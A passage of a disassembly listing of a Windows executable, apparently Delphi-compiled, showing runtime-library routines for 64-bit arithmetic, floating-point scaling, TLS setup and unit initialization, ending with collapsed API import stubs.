; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebx
		xor	ebx, ebx
		mov	bl, [edx]
		sub	ecx, ebx
		jle	short loc_405206
		push	eax
		push	edx
		mov	edx, ecx
		call	sub_4051AF
		pop	edx
		pop	eax

loc_405206:				; CODE XREF: CODE:004051F9j
		mov	ecx, ebx
		pop	ebx
		inc	edx
		jmp	sub_405144

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40520F	proc near		; CODE XREF: sub_403390+55p
					; CODE:00409404p ...
		mov	edx, offset asc_41C0A0 ; "\r\n▀ю"
		mov	ecx, 2
		call	sub_405144
		jmp	loc_404E91
sub_40520F	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		cmp	dword ptr [eax+4], 0D7B2h
		jnz	short loc_40524A

loc_40522C:				; CODE XREF: CODE:00405248j
					; CODE:00405261j
		mov	ecx, [eax+0Ch]
		cmp	ecx, [eax+8]
		jge	short loc_40523D
		add	ecx, [eax+14h]
		mov	[ecx], dl
		inc	dword ptr [eax+0Ch]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40523D:				; CODE XREF: CODE:00405232j
		push	eax
		push	edx
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jnz	short loc_40526D
		pop	edx
		pop	eax
		jmp	short loc_40522C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40524A:				; CODE XREF: CODE:0040522Aj
		cmp	eax, offset unk_41E214
		jnz	short loc_405263
		push	edx
		push	eax
		call	sub_404FFE
		pop	eax
		pop	edx
		cmp	dword ptr [eax+4], 0D7B2h
		jz	short loc_40522C

loc_405263:				; CODE XREF: CODE:0040524Fj
		mov	eax, 69h
		jmp	sub_40267C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40526D:				; CODE XREF: CODE:00405244j
		call	sub_40267C
		pop	edx
		pop	eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	edx
		lea	edx, [ecx-1]
		call	sub_4051AF
		mov	edx, esp
		mov	ecx, 1
		call	sub_405144
		pop	edx
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40528C	proc near		; CODE XREF: sub_403390+50p
					; CODE:004093FFp
		xor	ecx, ecx
		jmp	short $+2
		push	esi
		push	edi
		mov	esi, eax
		push	ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		mov	al, 0
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		pop	edx
		sub	edx, ecx
		mov	eax, esi
		push	ecx
		call	sub_4051AF
		pop	ecx
		mov	eax, esi
		mov	edx, edi
		pop	edi
		pop	esi
		jmp	sub_405144
sub_40528C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4052BC	proc near		; CODE XREF: sub_40AEB8+54p
					; CODE:0040B105p
		test	eax, eax
		jl	short loc_405308
		jz	short locret_405307
		cmp	eax, 1400h
		jge	loc_40534C
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_405360[edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short locret_405307
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_4052F6
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_405496[edx*2]
		fmulp	st(1), st

loc_4052F6:				; CODE XREF: sub_4052BC+2Cj
		shr	eax, 4
		jz	short locret_405307
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40552C[eax*2]
		fmulp	st(1), st

locret_405307:				; CODE XREF: sub_4052BC+4j
					; sub_4052BC+25j ...
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405308:				; CODE XREF: sub_4052BC+2j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_405353
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_405360[edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short locret_405307
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_40533A
		lea	edx, [edx+edx*4]
		fld	ds:tbyte_405496[edx*2]
		fdivp	st(1), st

loc_40533A:				; CODE XREF: sub_4052BC+70j
		shr	eax, 4
		jz	short locret_405307
		lea	eax, [eax+eax*4]
		fld	ds:tbyte_40552C[eax*2]
		fdivp	st(1), st
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40534C:				; CODE XREF: sub_4052BC+Bj
		fld	ds:tbyte_405356
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405353:				; CODE XREF: sub_4052BC+53j
		fldz
		retn
sub_4052BC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
tbyte_405356	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_4052BC+90r
tbyte_405360	dt 1.0			; DATA XREF: sub_4052BC+19r
					; sub_4052BC+5Dr
		dd 0, 0A0000000h, 4002h, 0, 4005C800h, 0, 0FA000000h, 4008h
		dd 0, 400C9C40h, 0, 0C3500000h,	400Fh, 0, 4012F424h, 0
		dd 98968000h, 4016h, 20000000h,	4019BEBCh, 0, 0EE6B2800h
		dd 401Ch, 0F9000000h, 40209502h, 0, 0BA43B740h,	4023h
		dd 0A5100000h, 4026E8D4h, 0, 9184E72Ah,	402Ah, 20F48000h
		dd 402DB5E6h, 0A0000000h, 0E35FA931h, 4030h, 0C9BF0400h
		dd 40348E1Bh, 0C5000000h, 0B1A2BC2Eh, 4037h, 6B3A7640h
		dd 403ADE0Bh, 89E80000h, 8AC72304h, 403Eh, 0EBC5AC62h
		dd 4041AD78h, 177A8000h, 0D8D726B7h, 90004044h,	78326EACh
		dd 40488786h, 0A57B400h, 0A968163Fh, 0A100404Bh, 1BCECCEDh
		dd 404ED3C2h, 401484A0h, 84595161h, 0A5C84052h,	0A5B99019h
		dd 4055A56Fh, 0F4200F3Ah, 0CECB8F27h, 9844058h,	3978F894h
		dd 405C813Fh, 36B90BE5h, 0A18F07D7h, 4EDF405Fh,	0C9CD0467h
		dd 4062C9F2h
tbyte_405496	dt 9.9999999999999999998e30 ; DATA XREF: sub_4052BC+31r
					; sub_4052BC+75r
		dd 2B70B59Eh, 9DC5ADA8h, 0A6D54069h, 1F49FFCFh,	40D3C278h
		dd 0C59B14A3h, 0EFB3AB16h, 8CE0413Dh, 47C980E9h, 41A893BAh
		dd 7FE617AAh, 0B616A12Bh, 556B4212h, 0F78D3927h, 427CE070h
		dd 0E33CC930h, 8A5296FFh, 0DE8E42E7h, 0EBFB9DF9h, 4351AA7Eh
		dd 5C6A2F8Ch, 0D226FC19h, 0E37643BBh, 2F29F2CCh, 44268184h
		dd 0DB900AD2h, 9FA42700h, 0AA174490h, 0E310AEF8h, 44FAC4C5h
		dd 0E9B09C59h, 0F28A9C07h, 0F3D44564h, 4AE1EBF7h, 45CF957Ah
tbyte_40552C	dt 9.9999999999999999996e479 ; DATA XREF: sub_4052BC+42r
					; sub_4052BC+86r
		dd 0A60E91C7h, 0E319A0AEh, 0C1746A3h, 75868175h, 4D48C976h
		dd 3993A7E4h, 0B2B8353Bh, 5DE553EDh, 3B5DC53Dh,	5A929E8Bh
		dd 20A1F0A6h, 8CA554C0h, 5A8B6137h, 5D25D88Bh, 67DBF989h
		dd 0BF27F3F8h, 0DD5DC8A2h, 979B6E80h, 52028A20h, 7525C460h
		dd 6ED559F0h, 0AE351162h
		db 0CAh, 7Bh

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405590	proc near		; CODE XREF: sub_40745C+43p
					; sub_40745C+5Dp ...

arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	edx
		push	eax
		mov	eax, [esp+arg_4]
		mul	dword ptr [esp+0]
		mov	ecx, eax
		mov	eax, [esp+4]
		mul	[esp+arg_0]
		add	ecx, eax
		mov	eax, [esp+0]
		mul	[esp+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_405590	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	edx
		push	eax
		mov	eax, [esp+10h]
		mul	dword ptr [esp]
		mov	ecx, eax
		mov	eax, [esp+4]
		mul	dword ptr [esp+0Ch]
		add	ecx, eax
		mov	eax, [esp]
		mul	dword ptr [esp+0Ch]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4055D6	proc near		; CODE XREF: CODE:00405676p
					; sub_418C48+CAp ...

arg_0		= dword	ptr  14h
arg_4		= dword	ptr  18h

		push	ebp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		or	ecx, ecx
		jnz	short loc_4055F0
		or	edx, edx
		jz	short loc_405648
		or	ebx, ebx
		jz	short loc_405648

loc_4055F0:				; CODE XREF: sub_4055D6+10j
		or	edx, edx
		jns	short loc_4055FE
		neg	edx
		neg	eax
		sbb	edx, 0
		or	edi, 1

loc_4055FE:				; CODE XREF: sub_4055D6+1Cj
		or	ecx, ecx
		jns	short loc_40560C
		neg	ecx
		neg	ebx
		sbb	ecx, 0
		xor	edi, 1

loc_40560C:				; CODE XREF: sub_4055D6+2Aj
		mov	ebp, ecx
		mov	ecx, 40h
		push	edi
		xor	edi, edi
		xor	esi, esi

loc_405618:				; CODE XREF: sub_4055D6+59j
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_40562F
		ja	short loc_40562A
		cmp	esi, ebx
		jb	short loc_40562F

loc_40562A:				; CODE XREF: sub_4055D6+4Ej
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax

loc_40562F:				; CODE XREF: sub_4055D6+4Cj
					; sub_4055D6+52j
		loop	loc_405618
		pop	ebx
		test	ebx, 1
		jz	short loc_405641
		neg	edx
		neg	eax
		sbb	edx, 0

loc_405641:				; CODE XREF: sub_4055D6+62j
					; sub_4055D6+76j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405648:				; CODE XREF: sub_4055D6+14j
					; sub_4055D6+18j
		div	ebx
		xor	edx, edx
		jmp	short loc_405641
sub_4055D6	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	esi
		mov	esi, [esp+0Ch]
		and	esi, [esp+8]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40566D
		mov	esi, eax
		or	esi, edx
		cmp	esi, 80000000h
		jnz	short loc_40566D
		mov	eax, esi
		pop	esi
		dec	eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40566D:				; CODE XREF: CODE:0040565Aj
					; CODE:00405666j
		pop	esi
		push	dword ptr [esp+8]
		push	dword ptr [esp+8]
		call	sub_4055D6
		and	eax, eax
		retn	8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405680	proc near		; CODE XREF: sub_4078EB+2Fp

arg_0		= dword	ptr  14h
arg_4		= dword	ptr  18h

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		or	ecx, ecx
		jnz	short loc_405698
		or	edx, edx
		jz	short loc_4056C3
		or	ebx, ebx
		jz	short loc_4056C3

loc_405698:				; CODE XREF: sub_405680+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi

loc_4056A3:				; CODE XREF: sub_405680+3Aj
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_4056BA
		ja	short loc_4056B5
		cmp	esi, ebx
		jb	short loc_4056BA

loc_4056B5:				; CODE XREF: sub_405680+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax

loc_4056BA:				; CODE XREF: sub_405680+2Dj
					; sub_405680+33j
		loop	loc_4056A3

loc_4056BC:				; CODE XREF: sub_405680+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4056C3:				; CODE XREF: sub_405680+12j
					; sub_405680+16j
		div	ebx
		xor	edx, edx
		jmp	short loc_4056BC
sub_405680	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4056C9	proc near		; CODE XREF: CODE:0040576Bp

arg_0		= dword	ptr  14h
arg_4		= dword	ptr  18h

		push	ebp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		or	ecx, ecx
		jnz	short loc_4056E3
		or	edx, edx
		jz	short loc_40573C
		or	ebx, ebx
		jz	short loc_40573C

loc_4056E3:				; CODE XREF: sub_4056C9+10j
		or	edx, edx
		jns	short loc_4056F1
		neg	edx
		neg	eax
		sbb	edx, 0
		or	edi, 1

loc_4056F1:				; CODE XREF: sub_4056C9+1Cj
		or	ecx, ecx
		jns	short loc_4056FC
		neg	ecx
		neg	ebx
		sbb	ecx, 0

loc_4056FC:				; CODE XREF: sub_4056C9+2Aj
		mov	ebp, ecx
		mov	ecx, 40h
		push	edi
		xor	edi, edi
		xor	esi, esi

loc_405708:				; CODE XREF: sub_4056C9+56j
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_40571F
		ja	short loc_40571A
		cmp	esi, ebx
		jb	short loc_40571F

loc_40571A:				; CODE XREF: sub_4056C9+4Bj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax

loc_40571F:				; CODE XREF: sub_4056C9+49j
					; sub_4056C9+4Fj
		loop	loc_405708
		mov	eax, esi
		mov	edx, edi
		pop	ebx
		test	ebx, 1
		jz	short loc_405735
		neg	edx
		neg	eax
		sbb	edx, 0

loc_405735:				; CODE XREF: sub_4056C9+63j
					; sub_4056C9+78j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40573C:				; CODE XREF: sub_4056C9+14j
					; sub_4056C9+18j
		div	ebx
		xchg	eax, edx
		xor	edx, edx
		jmp	short loc_405735
sub_4056C9	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	esi
		mov	esi, [esp+0Ch]
		and	esi, [esp+8]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405762
		mov	esi, eax
		or	esi, edx
		cmp	esi, 80000000h
		jnz	short loc_405762
		mov	eax, esi
		pop	esi
		dec	eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405762:				; CODE XREF: CODE:0040574Fj
					; CODE:0040575Bj
		pop	esi
		push	dword ptr [esp+8]
		push	dword ptr [esp+8]
		call	sub_4056C9
		and	eax, eax
		retn	8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405775	proc near		; CODE XREF: sub_4078EB+11p

arg_0		= dword	ptr  14h
arg_4		= dword	ptr  18h

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		or	ecx, ecx
		jnz	short loc_40578D
		or	edx, edx
		jz	short loc_4057BC
		or	ebx, ebx
		jz	short loc_4057BC

loc_40578D:				; CODE XREF: sub_405775+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi

loc_405798:				; CODE XREF: sub_405775+3Aj
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_4057AF
		ja	short loc_4057AA
		cmp	esi, ebx
		jb	short loc_4057AF

loc_4057AA:				; CODE XREF: sub_405775+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax

loc_4057AF:				; CODE XREF: sub_405775+2Dj
					; sub_405775+33j
		loop	loc_405798
		mov	eax, esi
		mov	edx, edi

loc_4057B5:				; CODE XREF: sub_405775+4Cj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4057BC:				; CODE XREF: sub_405775+12j
					; sub_405775+16j
		div	ebx
		xchg	eax, edx
		xor	edx, edx
		jmp	short loc_4057B5
sub_405775	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		cmp	cl, 20h
		jl	short loc_4057D9
		cmp	cl, 40h
		jl	short loc_4057D2
		xor	edx, edx
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4057D2:				; CODE XREF: CODE:004057CBj
		mov	edx, eax
		shl	edx, cl
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4057D9:				; CODE XREF: CODE:004057C6j
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		cmp	cl, 20h
		jl	short loc_4057F5
		cmp	cl, 40h
		jl	short loc_4057EF
		sar	edx, 1Fh
		mov	eax, edx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4057EF:				; CODE XREF: CODE:004057E7j
		mov	eax, edx
		cdq
		sar	eax, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4057F5:				; CODE XREF: CODE:004057E2j
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		cmp	cl, 20h
		jl	short loc_405811
		cmp	cl, 40h
		jl	short loc_40580A
		xor	edx, edx
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40580A:				; CODE XREF: CODE:00405803j
		mov	eax, edx
		xor	edx, edx
		shr	eax, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405811:				; CODE XREF: CODE:004057FEj
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_405818	proc near		; DATA XREF: CODE:0041A8E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405876
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E424
		jnz	short loc_405868
		mov	eax, offset unk_41E048
		call	sub_404F80
		mov	eax, offset unk_41E214
		call	sub_404F80
		call	sub_4019C8
		mov	eax, offset word_41E40C
		call	sub_4043B8
		mov	eax, offset word_41E3FC
		call	sub_4043B8
		mov	eax, offset word_41E3EC
		call	sub_4043B8

loc_405868:				; CODE XREF: sub_405818+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40587D

locret_405875:				; CODE XREF: sub_405818+63j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405876:				; DATA XREF: sub_405818+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_405875
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40587D:				; CODE XREF: sub_405818+5Dj
					; DATA XREF: sub_405818+58o
		pop	ebp
		retn
sub_405818	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_405880	proc near		; DATA XREF: CODE:0041A8E4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405968
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_41E424, 1
		jnb	loc_40595A
		xor	eax, eax
		mov	ds:dword_41E030, eax
		xor	eax, eax
		mov	ds:dword_41E038, eax
		xor	eax, eax
		mov	ds:dword_41E03C, eax
		mov	ds:byte_41E042,	2
		mov	ds:byte_41E043,	2
		mov	ds:byte_41E044,	3
		mov	ds:word_41E3EC,	0
		mov	ds:word_41E3FC,	1
		mov	ds:word_41E40C,	0Ah
		mov	ds:dword_41E414, 80020004h
		mov	ds:dword_41E3E0, offset	loc_404028
		mov	ds:dword_41E3E4, offset	sub_404020
		mov	ds:dword_41E3E8, offset	loc_404028
		call	sub_402A58
		test	al, al
		jz	short loc_405919
		call	sub_402A88

loc_405919:				; CODE XREF: sub_405880+92j
		call	sub_402B4C
		mov	eax, offset unk_41E048
		mov	edx, offset dword_405974
		call	sub_404E16
		mov	eax, offset unk_41E214
		mov	edx, offset dword_405974
		call	sub_404E16
		call	j_GetCommandLineA
		mov	ds:dword_41E02C, eax
		call	sub_401214
		mov	ds:dword_41E028, eax
		call	j_GetCurrentThreadId
		mov	ds:dword_41E020, eax

loc_40595A:				; CODE XREF: sub_405880+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40596F

locret_405967:				; CODE XREF: sub_405880+EDj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405968:				; DATA XREF: sub_405880+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_405967
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40596F:				; CODE XREF: sub_405880+E7j
					; DATA XREF: sub_405880+E2o
		pop	ebp
		retn
sub_405880	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_405974	dd 0			; DATA XREF: sub_405880+A3o
					; sub_405880+B2o
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleHandleA_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_TlsGetValue. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_TlsSetValue. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4059A0	proc near		; CODE XREF: sub_4059F0+1Bp
		push	ebx
		mov	eax, 0Ch
		test	eax, eax
		jz	short loc_4059ED
		cmp	ds:dword_41E4CC, 0
		jge	short loc_4059BD
		mov	eax, 0E2h
		call	sub_4034BC

loc_4059BD:				; CODE XREF: sub_4059A0+11j
		push	0Ch
		push	40h
		call	j_LocalAlloc_0
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4059DB
		mov	eax, 0E2h
		call	sub_4034BC
		jmp	short loc_4059E7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4059DB:				; CODE XREF: sub_4059A0+2Dj
		push	ebx
		mov	eax, ds:dword_41E4CC
		push	eax
		call	j_TlsSetValue

loc_4059E7:				; CODE XREF: sub_4059A0+39j
		mov	ds:dword_41E4DC, ebx

loc_4059ED:				; CODE XREF: sub_4059A0+8j
		pop	ebx
		retn
sub_4059A0	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4059F0	proc near		; CODE XREF: sub_402618+19p
					; sub_40265C+3p ...
		mov	cl, ds:byte_41E4C8
		mov	eax, ds:dword_41E4CC
		test	cl, cl
		jnz	short loc_405A28
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405A0B:				; CODE XREF: sub_4059F0+40j
		call	sub_4059A0
		mov	eax, ds:dword_41E4CC
		push	eax
		call	j_TlsGetValue
		test	eax, eax
		jz	short loc_405A21
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405A21:				; CODE XREF: sub_4059F0+2Ej
		mov	eax, ds:dword_41E4DC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405A28:				; CODE XREF: sub_4059F0+Ej
		push	eax
		call	j_TlsGetValue
		test	eax, eax
		jz	short loc_405A0B
		retn
sub_4059F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405A34	proc near		; CODE XREF: sub_405A80+25p

var_108		= byte ptr -108h

		push	ebx
		add	esp, 0FFFFFEF8h
		push	105h
		lea	eax, [esp+10Ch+var_108]
		push	eax
		mov	eax, ds:dword_41E4D4
		push	eax
		call	j_GetModuleFileNameA_0
		mov	eax, esp
		call	sub_404818
		mov	ebx, eax
		mov	ds:dword_41C0B4, ebx
		test	ebx, ebx
		jnz	short loc_405A6D
		mov	eax, ds:dword_41C0A8
		mov	ds:dword_41C0B4, eax

loc_405A6D:				; CODE XREF: sub_405A34+2Dj
		mov	eax, offset asc_41C0A0+4
		call	sub_404B00
		add	esp, 108h
		pop	ebx
		retn
sub_405A34	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405A80	proc near		; CODE XREF: start+18p
		push	eax
		push	0
		call	j_GetModuleHandleA_0
		mov	edx, offset asc_41C0A0+4
		push	edx
		mov	ds:dword_41E4D4, eax
		mov	[edx+4], eax
		mov	dword ptr [edx+8], 0
		mov	dword ptr [edx+0Ch], 0
		call	sub_405A34
		pop	edx
		pop	eax
		call	sub_4032A0
		retn
sub_405A80	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_405AB4	proc near		; DATA XREF: CODE:0041A8E0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405AD9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E4D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405AE0

locret_405AD8:				; CODE XREF: sub_405AB4+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405AD9:				; DATA XREF: sub_405AB4+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_405AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405AE0:				; CODE XREF: sub_405AB4+24j
					; DATA XREF: sub_405AB4+1Fo
		pop	ebp
		retn
sub_405AB4	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_405AE4:				; DATA XREF: CODE:0041A8DCo
		sub	ds:dword_41E4D8, 1
		retn
; [00000006 BYTES: COLLAPSED FUNCTION j_GetUserNameA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegCloseKey_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegCreateKeyExA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegFlushKey. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegOpenKeyExA_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
